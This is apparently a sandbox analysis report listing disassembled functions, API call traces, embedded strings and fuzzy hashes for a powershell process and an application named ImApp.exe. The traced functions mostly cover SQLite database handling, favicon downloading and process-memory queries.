Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4572696831.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edd7a1c17d7a8329d2353e9f266e12cb64e06cc72eeba8b2f0440192270ce48f
Instruction ID: d6f19ca2d78a2291c3a9e60ddda64bf769199332a2d57167b84b4aef5f0ab04c
Opcode Fuzzy Hash: edd7a1c17d7a8329d2353e9f266e12cb64e06cc72eeba8b2f0440192270ce48f
Instruction Fuzzy Hash: 3B11E9B13092816FD70696649850A56FFA2EFC22A171981BBD609CF253CE32DC06D7A2

Function 077705C0 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4572696831.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f91e6763d3e4e63423152a3970158b64de750c237631a3df99eac73c6775fc18
Instruction ID: 3b18b33b122a1a9dc4576d75685f83df1bdfc35f2082f9e2497ae5831ddc8ba3
Opcode Fuzzy Hash: f91e6763d3e4e63423152a3970158b64de750c237631a3df99eac73c6775fc18
Instruction Fuzzy Hash: 1A219FF4B06306CFCF158F29D464B6ABBB1AF852A8F09C4AAE408CB112D330D844CF91

Function 02E9D005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4561223749.0000000002E9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2e9d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 876179d76c86c29ffc8b1950db2aac547632bebeeeff08950782b73875481539
Instruction ID: 9abcb9981f292591662a606d12fdb4d882c590356d6ec9679fdfa2910e6f77b1
Opcode Fuzzy Hash: 876179d76c86c29ffc8b1950db2aac547632bebeeeff08950782b73875481539
Instruction Fuzzy Hash: 60010C7244E3D09FE7128B258D94B56BFB4DF43228F19C1DBD9888F1A3C2695849C772

Function 02E9D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4561223749.0000000002E9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2e9d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde1c7f2505beebcb86124e8b27cf645448cdd38c11e843fcdac13437f2c3988
Instruction ID: 79e7c7f948384082d1d503453a4bd1e2db3421058e0508e85db91953caa584b2
Opcode Fuzzy Hash: dde1c7f2505beebcb86124e8b27cf645448cdd38c11e843fcdac13437f2c3988
Instruction Fuzzy Hash: CB01D672445354DAEB106E25CDC4BA7FF98EF41378F18D51BEE484B242C7B99841C6B1

Analysis Process: ImApp.exePID: 6068, Parent PID: 2444COMMON

Non-executed Functions

Function 10003F40 Relevance: 130.0, APIs: 68, Strings: 6, Instructions: 533synchronizationfileCOMMON

Download Yara Rule

APIs

#4.IMDBU(00000000,DC7F1836,?,-00000008,?,00000000), ref: 10003F7B

Part of subcall function 100014B0: #310.MFC80U(DC7F1836), ref: 100014E5
Part of subcall function 100014B0: EnterCriticalSection.KERNEL32(10010798), ref: 1000154B
Part of subcall function 100014B0: TlsAlloc.KERNEL32(?), ref: 10001568
Part of subcall function 100014B0: GetCurrentThreadId.KERNEL32 ref: 10001579
Part of subcall function 100014B0: #675.IMUTILSU(Flags,DbMaxConnectionTransaction,?,00000000), ref: 1000158E
Part of subcall function 100014B0: #1428.IMUTILSU(Flags,DbMaxConnectionTransaction,?,00000000), ref: 10001595
Part of subcall function 100014B0: LeaveCriticalSection.KERNEL32(10010798,Flags,DbMaxConnectionTransaction,?,00000000), ref: 100015A4

#310.MFC80U(DC7F1836,?,-00000008,?,00000000), ref: 10003F8B
#2461.MFC80U ref: 10003FA0
#2311.MFC80U(?,%s_tmp,00000000), ref: 10003FB1
SetFileAttributesW.KERNEL32(?,00000080,-00000008,?,00000000), ref: 10003FC4
DeleteFileW.KERNEL32(?,?,00000000), ref: 10003FCF
#3.IMDBU(?,?,00000000), ref: 10003FDE

Part of subcall function 10001710: #776.MFC80U(?,DC7F1836,?,?,?,?,1000AB4B,000000FF), ref: 1000173D
Part of subcall function 10001710: #675.IMUTILSU(?,?,?,Flags,SqLiteNativeLock,?,00000001,?,?,?,?,1000AB4B,000000FF), ref: 1000175C
Part of subcall function 10001710: #1428.IMUTILSU(?,?,?,Flags,SqLiteNativeLock,?,00000001,?,?,?,?,1000AB4B,000000FF), ref: 10001763
Part of subcall function 10001710: #762.MFC80U(00000030,?,?,?,?,?,?,?,Flags,SqLiteNativeLock,?,00000001), ref: 10001777

#20.IMDBU(?,?,00000000), ref: 10003FE9
#12.IMDBU(SELECT SQL FROM SQLITE_MASTER,?,00000000), ref: 10004007
#310.MFC80U(SELECT SQL FROM SQLITE_MASTER,?,00000000), ref: 10004033
#776.MFC80U(?), ref: 10004072
WaitForSingleObject.KERNEL32(?,000000FF), ref: 100040C7
TlsGetValue.KERNEL32(?), ref: 100040D1
#762.MFC80U(00000004), ref: 100040DD
TlsSetValue.KERNEL32(?,00000000,?,?,?,00000000), ref: 100040F0
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000), ref: 100040FB
sqlite3_step.SQLITE3(?,?,?), ref: 1000412B
sqlite3_reset.SQLITE3(?,?,?,?,00000000), ref: 10004145
sqlite3_clear_bindings.SQLITE3(?,?,?,?,?,00000000), ref: 10004156
TlsGetValue.KERNEL32(?,?,?), ref: 10004198
#764.MFC80U(-000000FF), ref: 100041A8
TlsSetValue.KERNEL32(?,00000000,?,?,?,00000000), ref: 100041B4
SetEvent.KERNEL32(?,?,00000000,?,?,?,00000000), ref: 100041BE
ReleaseMutex.KERNEL32(00000000), ref: 100041C7
#578.MFC80U ref: 10004216
#17.IMDBU ref: 1000422E
#310.MFC80U ref: 10004237
#2311.MFC80U(?,ATTACH DATABASE "%s" AS DB2), ref: 10004256
#8.IMDBU(?,00000001,00000000,?,?,?,?,?,00000000), ref: 10004272
#12.IMDBU(SELECT DISTINCT TBL_NAME FROM SQLITE_MASTER,?,00000000,?,00000001,00000000,?,?,?,?,?,00000000), ref: 1000428F
#310.MFC80U ref: 100042BB
#776.MFC80U(?), ref: 100042F6
#1176.MFC80U ref: 1000433B
#310.MFC80U(00000000,?,00000000), ref: 1000434B
#2461.MFC80U(00000001), ref: 1000435E
#2461.MFC80U(00000000), ref: 10004369
#2311.MFC80U(?,INSERT INTO %s SELECT * FROM DB2.%s limit %d,00000000), ref: 1000437A
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,00000000), ref: 100043C7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 100043D1
#762.MFC80U(00000004,?,?,?,?,?,?,?,?,?,?,00000000), ref: 100043DD
TlsSetValue.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 100043F0
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 100043FB
sqlite3_step.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000442B
sqlite3_reset.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 10004445
sqlite3_clear_bindings.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 10004456
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 10004498
#764.MFC80U(-000000FF,?,?,?,?,?,?,?,?,?,?,00000000), ref: 100044A8
TlsSetValue.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 100044B4
SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 100044BE
ReleaseMutex.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 100044C7
#578.MFC80U ref: 100044E2
#578.MFC80U ref: 10004528
#17.IMDBU(?,?,?,?,?,00000000), ref: 10004540
#5.IMDBU(?,?,?,?,?,00000000), ref: 1000456E
sqlite3_close.SQLITE3(00000000,?,?,?,?,?,00000000), ref: 1000458A
SetFileAttributesW.KERNEL32(00000000,00000080,?,?,?,?,?,?,00000000), ref: 100045A5
#310.MFC80U(?,?,?,?,?,?,00000000), ref: 100045AB
#2461.MFC80U ref: 100045BB
#2311.MFC80U(?,%s_bak,00000000), ref: 100045CC
SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,?,?,?,?,00000000), ref: 100045DF
DeleteFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 100045E6
MoveFileW.KERNEL32(00000000,?), ref: 100045FB
#578.MFC80U ref: 10004609
MoveFileW.KERNEL32(?,00000000), ref: 10004618
#578.MFC80U ref: 10004626
#16.IMDBU ref: 10004638
#578.MFC80U ref: 10004648
#1.IMDBU ref: 1000465D

Strings

ATTACH DATABASE "%s" AS DB2, xrefs: 10004250
%s_bak, xrefs: 100045C6
SELECT SQL FROM SQLITE_MASTER, xrefs: 10004000
SELECT DISTINCT TBL_NAME FROM SQLITE_MASTER, xrefs: 1000428A
INSERT INTO %s SELECT * FROM DB2.%s limit %d, xrefs: 10004374
%s_tmp, xrefs: 10003FAB

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: Value$#310File$#578$#2311#2461ObjectSingleWait$#762#776Attributes$#1428#675#764CriticalDeleteEventMoveMutexReleaseSectionsqlite3_clear_bindingssqlite3_resetsqlite3_step$#1176AllocCurrentEnterLeaveThreadsqlite3_close
String ID: %s_bak$%s_tmp$ATTACH DATABASE "%s" AS DB2$INSERT INTO %s SELECT * FROM DB2.%s limit %d$SELECT DISTINCT TBL_NAME FROM SQLITE_MASTER$SELECT SQL FROM SQLITE_MASTER
API String ID: 929652108-1641019627
Opcode ID: 4025729da7c7c5eb6c36d4757eb5c8cb94ade0808866f6f152b1e35cc6888fa7
Instruction ID: 48e4a46cb1fcf19aafa664a04388e9e5b528db90f9824cf6bd8840afffd403e2
Opcode Fuzzy Hash: 4025729da7c7c5eb6c36d4757eb5c8cb94ade0808866f6f152b1e35cc6888fa7
Instruction Fuzzy Hash: 60227CB6508381DFE310DF64C884E9AB7E5EB84280F52892DF59697269DB30E948CB52

Function 00418090 Relevance: 94.9, APIs: 53, Strings: 1, Instructions: 412COMMON

Download Yara Rule

APIs

#815.IMUTILSU(?,FC8A6036), ref: 004180D5
#679.IMUTILSU(004247D4,00000000,00000015,004247A4,?,?,FC8A6036), ref: 004180FC
#23.IMUTILSU(FC8A6036), ref: 0041810C
#667.IMUTILSU ref: 00418120
#1079.MFC80U ref: 00418127
LoadImageW.USER32(?,-000003F1,00000001,00000010,00000010,00000000), ref: 00418155
#1079.MFC80U ref: 0041815D
LoadImageW.USER32(?,-000003F0,00000001,00000010,00000010,00000000), ref: 00418183
#1079.MFC80U ref: 0041818B
LoadImageW.USER32(?,-000003F1,00000001,00000010,00000010,00000000), ref: 0041819D
#1079.MFC80U ref: 004181A5
LoadImageW.USER32(?,-000003EF,00000001,00000010,00000010,00000000), ref: 004181CB
#1079.MFC80U ref: 004181D3
LoadImageW.USER32(?,-000003F2,00000001,00000010,00000010,00000000), ref: 004181FC
#1079.MFC80U ref: 00418204

Strings

MPCheckInterval, xrefs: 00418501

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1079$ImageLoad$#667#679#815
String ID: MPCheckInterval
API String ID: 3483445783-2831412764
Opcode ID: dd903612aaff5bf5f4818f17271eff05e27d8a14766a902948c9fa13eebdab05
Instruction ID: 9d68794f9ed7de57b6715296392c01fd3e979ead1ef1447191fe2da0f00871b4
Opcode Fuzzy Hash: dd903612aaff5bf5f4818f17271eff05e27d8a14766a902948c9fa13eebdab05
Instruction Fuzzy Hash: 97D1D7F2B403043FE6246B35DC47FEEB6D9EF88B10F45891DB355AA1C2D6F9A5804608

Function 00409770 Relevance: 51.0, APIs: 25, Strings: 4, Instructions: 215filenetworkCOMMON

Download Yara Rule

APIs

#1.IMABU(FC8A6036,FC8A6036), ref: 004097BB
#310.MFC80U ref: 0040983D
#6735.MFC80U(ico), ref: 00409854
memset.MSVCR80 ref: 00409872
_invalid_parameter_noinfo.MSVCR80 ref: 0040988E
_invalid_parameter_noinfo.MSVCR80 ref: 004098A6
#731.IMUTILSU(?), ref: 004098C1
_invalid_parameter_noinfo.MSVCR80 ref: 004098DD
_invalid_parameter_noinfo.MSVCR80 ref: 004098ED
_invalid_parameter_noinfo.MSVCR80 ref: 004098F4
#2311.MFC80U(?,%s%s%s,http://www.,?,/favicon.ico), ref: 0040990D
#3391.MFC80U(?,00000400,00000000,?), ref: 0040992B
URLDownloadToCacheFileW.URLMON(00000000,00000000), ref: 00409934
#6735.MFC80U(?,00000000,00000000), ref: 0040994A

Strings

%s%s%s, xrefs: 00409907
http://www., xrefs: 004098FE
/favicon.ico, xrefs: 004098F8
ico, xrefs: 0040984B

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: _invalid_parameter_noinfo$#6735$#2311#310#3391#731CacheDownloadFilememset
String ID: %s%s%s$/favicon.ico$http://www.$ico
API String ID: 2502148109-557722560
Opcode ID: aa691ea9118f3e20dff15c965026198cbe28d11b99bc1b0cb4a1a924889aca89
Instruction ID: 693e21eb27714704534c93b7445424e000ff48238dc9870c30643d8e3b43d5b6
Opcode Fuzzy Hash: aa691ea9118f3e20dff15c965026198cbe28d11b99bc1b0cb4a1a924889aca89
Instruction Fuzzy Hash: 998160722083809FC324EB14D985BAFB7E4FF99704F50492EF485A3291DB74A945CB9B

Function 004021F0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 72libraryloaderCOMMON

Download Yara Rule

APIs

#810.IMUTILSU(000000A6,00000000), ref: 004021FD
#1323.IMUTILSU(000000A6,00000000), ref: 00402204
LoadLibraryW.KERNEL32(psapi.dll,000000A6,00000000), ref: 00402216
GetProcAddress.KERNEL32(00000000,GetProcessMemoryInfo), ref: 0040222D
_getpid.MSVCR80 ref: 00402239
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00402246
CloseHandle.KERNEL32(00000000), ref: 0040225D
FreeLibrary.KERNEL32(00000000), ref: 004022A7

Strings

GetProcessMemoryInfo, xrefs: 00402227
psapi.dll, xrefs: 0040220B

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: Library$#1323#810AddressCloseFreeHandleLoadOpenProcProcess_getpid
String ID: GetProcessMemoryInfo$psapi.dll
API String ID: 3900700081-3877371417
Opcode ID: ce111fdd207be8c21eba2697a7eb972113dc72910f8b7258da1a813775b979d5
Instruction ID: f73ae518db19db491c546128936d4757222e398208b82042bf334b2d1f8bc7e4
Opcode Fuzzy Hash: ce111fdd207be8c21eba2697a7eb972113dc72910f8b7258da1a813775b979d5
Instruction Fuzzy Hash: 9A11A8353043156BD721DF91AE0CB6BBBA8FB85B11F40047DFD40A12D0CBB88916866E

Function 0041C63C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041CDC5
_crt_debugger_hook.MSVCR80(00000001), ref: 0041CDD2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041CDDA
UnhandledExceptionFilter.KERNEL32(X+C), ref: 0041CDE5
_crt_debugger_hook.MSVCR80(00000001), ref: 0041CDF6
GetCurrentProcess.KERNEL32(C0000409), ref: 0041CE01
TerminateProcess.KERNEL32(00000000), ref: 0041CE08

Strings

X+C, xrefs: 0041CDE0

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled_crt_debugger_hook$CurrentDebuggerPresentTerminate
String ID: X+C
API String ID: 3369434319-72043353
Opcode ID: a57f845b07b380b597d77fd34302e46402b00e147ff5dce2978d871a3c34047b
Instruction ID: bbc463747f4fc96037133aa58d5fb154d439cafc85c2418ea7233b2721eab1eb
Opcode Fuzzy Hash: a57f845b07b380b597d77fd34302e46402b00e147ff5dce2978d871a3c34047b
Instruction Fuzzy Hash: 04217F74510304AFD729DF69FE896897BA4BB08314B60713AE90896261DBF45A86CF0D

Function 10002DE0 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 10002BB0: #2.IMDBU(CommonData,DC7F1836), ref: 10002BDD
Part of subcall function 10002BB0: #310.MFC80U(DC7F1836), ref: 10002BEE
Part of subcall function 10002BB0: #7.IMDBU(?,CommonField,00000003,?,00000001,00000000), ref: 10002C17
Part of subcall function 10002BB0: #310.MFC80U ref: 10002C2F
Part of subcall function 10002BB0: #2311.MFC80U(?,CREATE %s TABLE IF NOT EXISTS %s(%s),1000CBCC,CommonData,?), ref: 10002C4F
Part of subcall function 10002BB0: sqlite3_step.SQLITE3(?,?,?), ref: 10002C9B
Part of subcall function 10002BB0: sqlite3_finalize.SQLITE3(?,?), ref: 10002CC5

Part of subcall function 10001C30: sqlite3_prepare16_v2.SQLITE3(00000000,?,000000FF,10004418,00000000,?), ref: 10001C94

sqlite3_bind_text16.SQLITE3(?,00000000,Version,000000FF,000000FF,?,CommonField,INSERT OR REPLACE INTO CommonData VALUES(:CommonField,:CommonValue),?), ref: 10002E2A
sqlite3_bind_int64.SQLITE3(?,00000000,?,00000000,?,CommonValue,INSERT OR REPLACE INTO CommonData VALUES(:CommonField,:CommonValue),?,INSERT OR REPLACE INTO CommonData VALUES(:CommonField,:CommonValue),?), ref: 10002E79
#8.IMDBU(INSERT OR REPLACE INTO CommonData VALUES(:CommonField,:CommonValue),00000001,00000000,INSERT OR REPLACE INTO CommonData VALUES(:CommonField,:CommonValue),?,INSERT OR REPLACE INTO CommonData VALUES(:CommonField,:CommonValue),?), ref: 10002E99

Part of subcall function 100028F0: #6732.MFC80U(?,DC7F1836,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 1000291C
Part of subcall function 100028F0: #3991.MFC80U(?,00000001,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 10002935
Part of subcall function 100028F0: #1473.MFC80U(1000C7AC,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 10002947
Part of subcall function 100028F0: #578.MFC80U(?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 1000295B
Part of subcall function 100028F0: #781.MFC80U(00000000), ref: 10002980
Part of subcall function 100028F0: #578.MFC80U ref: 1000298F
Part of subcall function 100028F0: sqlite3_bind_parameter_index.SQLITE3(?,?,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 1000299F
Part of subcall function 100028F0: #578.MFC80U ref: 100029B5

Strings

CommonValue, xrefs: 10002E60
Version, xrefs: 10002E23
CommonField, xrefs: 10002E10
INSERT OR REPLACE INTO CommonData VALUES(:CommonField,:CommonValue), xrefs: 10002DF4, 10002E44, 10002E92

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #578$#310$#1473#2311#3991#6732#781sqlite3_bind_int64sqlite3_bind_parameter_indexsqlite3_bind_text16sqlite3_finalizesqlite3_prepare16_v2sqlite3_step
String ID: CommonField$CommonValue$INSERT OR REPLACE INTO CommonData VALUES(:CommonField,:CommonValue)$Version
API String ID: 3868301520-2400040944
Opcode ID: 03fe44b5dd7712965ece859e36b752efb5e5ce55422e52004d72498b7686952d
Instruction ID: 88644c87fb359c98eba6fe5b1405b1c1a4044b7ae9520d57605583549a68172c
Opcode Fuzzy Hash: 03fe44b5dd7712965ece859e36b752efb5e5ce55422e52004d72498b7686952d
Instruction Fuzzy Hash: 8F115B757583082AF648DB258C41E7FB39ACBD0A90F04C61DBA59962CADF74E9004766

Function 100028F0 Relevance: 12.1, APIs: 8, Instructions: 63COMMON

Download Yara Rule

APIs

#6732.MFC80U(?,DC7F1836,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 1000291C
#3991.MFC80U(?,00000001,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 10002935
#1473.MFC80U(1000C7AC,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 10002947
#578.MFC80U(?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 1000295B
#781.MFC80U(00000000), ref: 10002980
#578.MFC80U ref: 1000298F
sqlite3_bind_parameter_index.SQLITE3(?,?,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 1000299F
#578.MFC80U ref: 100029B5

Part of subcall function 10004680: #6700.MFC80U(DC7F1836,?,?,?,?,00000000,1000AA7A,000000FF,10002973,00000000,?,?,?,00000000,1000AB1B,000000FF), ref: 100046BA
Part of subcall function 10004680: #299.MFC80U(00000000,?,?,?,?,00000000,1000AA7A,000000FF,10002973,00000000,?,?,?,00000000,1000AB1B,000000FF), ref: 100046C3
Part of subcall function 10004680: #1480.MFC80U(?,1000C7AC,1000C7AB,?,00000000,?,?,?,?,00000000,1000AA7A,000000FF,10002973,00000000), ref: 100046FA

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #578$#1473#1480#299#3991#6700#6732#781sqlite3_bind_parameter_index
String ID:
API String ID: 3630778021-0
Opcode ID: 8a6abfec077a27b1405b21df2024eb2e86a7b44949067e49149122864acc3daa
Instruction ID: 54abbeb824ebf81df495dba80e0906eb7c6e0b974f000d970ebea6e4053cb6f8
Opcode Fuzzy Hash: 8a6abfec077a27b1405b21df2024eb2e86a7b44949067e49149122864acc3daa
Instruction Fuzzy Hash: DD2186761083409FE304CF14CC95F9BBBE4FB99394F144A1DF496832A5DB349A48CBA2

Function 10002D30 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 62COMMON

Download Yara Rule

APIs

#2.IMDBU(CommonData), ref: 10002D50

Part of subcall function 10002250: #310.MFC80U(DC7F1836,?,?,?,1000B4A9,000000FF), ref: 10002278
Part of subcall function 10002250: #2311.MFC80U(?,SELECT COUNT(*) FROM sqlite_master WHERE type='table' AND name='%s',?,?,?,?,1000B4A9,000000FF), ref: 10002295
Part of subcall function 10002250: #578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,1000B4A9,000000FF), ref: 100022CE

Part of subcall function 10001C30: sqlite3_prepare16_v2.SQLITE3(00000000,?,000000FF,10004418,00000000,?), ref: 10001C94

Part of subcall function 100028F0: #6732.MFC80U(?,DC7F1836,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 1000291C
Part of subcall function 100028F0: #3991.MFC80U(?,00000001,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 10002935
Part of subcall function 100028F0: #1473.MFC80U(1000C7AC,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 10002947
Part of subcall function 100028F0: #578.MFC80U(?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 1000295B
Part of subcall function 100028F0: #781.MFC80U(00000000), ref: 10002980
Part of subcall function 100028F0: #578.MFC80U ref: 1000298F
Part of subcall function 100028F0: sqlite3_bind_parameter_index.SQLITE3(?,?,?,?,?,00000000,1000AB1B,000000FF,10002A10,?,?,?,?), ref: 1000299F
Part of subcall function 100028F0: #578.MFC80U ref: 100029B5

sqlite3_bind_text16.SQLITE3(?,00000000,Version,?,?,?,CommonField), ref: 10002D93

Strings

Version, xrefs: 10002D8C
SELECT CommonValue FROM CommonData WHERE CommonField=:CommonField, xrefs: 10002D5F, 10002DAF
CommonData, xrefs: 10002D41
CommonField, xrefs: 10002D7B

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #578$#1473#2311#310#3991#6732#781sqlite3_bind_parameter_indexsqlite3_bind_text16sqlite3_prepare16_v2
String ID: CommonData$CommonField$SELECT CommonValue FROM CommonData WHERE CommonField=:CommonField$Version
API String ID: 1304051161-1257846704
Opcode ID: eba9cd7088abb920cd40b22f1e2163e7f91d96392f451d37e29634de0c768603
Instruction ID: 35f584ba743f82fe063300a76fca0ad24ed31a88aae5d85d388a0ef46cf7d54e
Opcode Fuzzy Hash: eba9cd7088abb920cd40b22f1e2163e7f91d96392f451d37e29634de0c768603
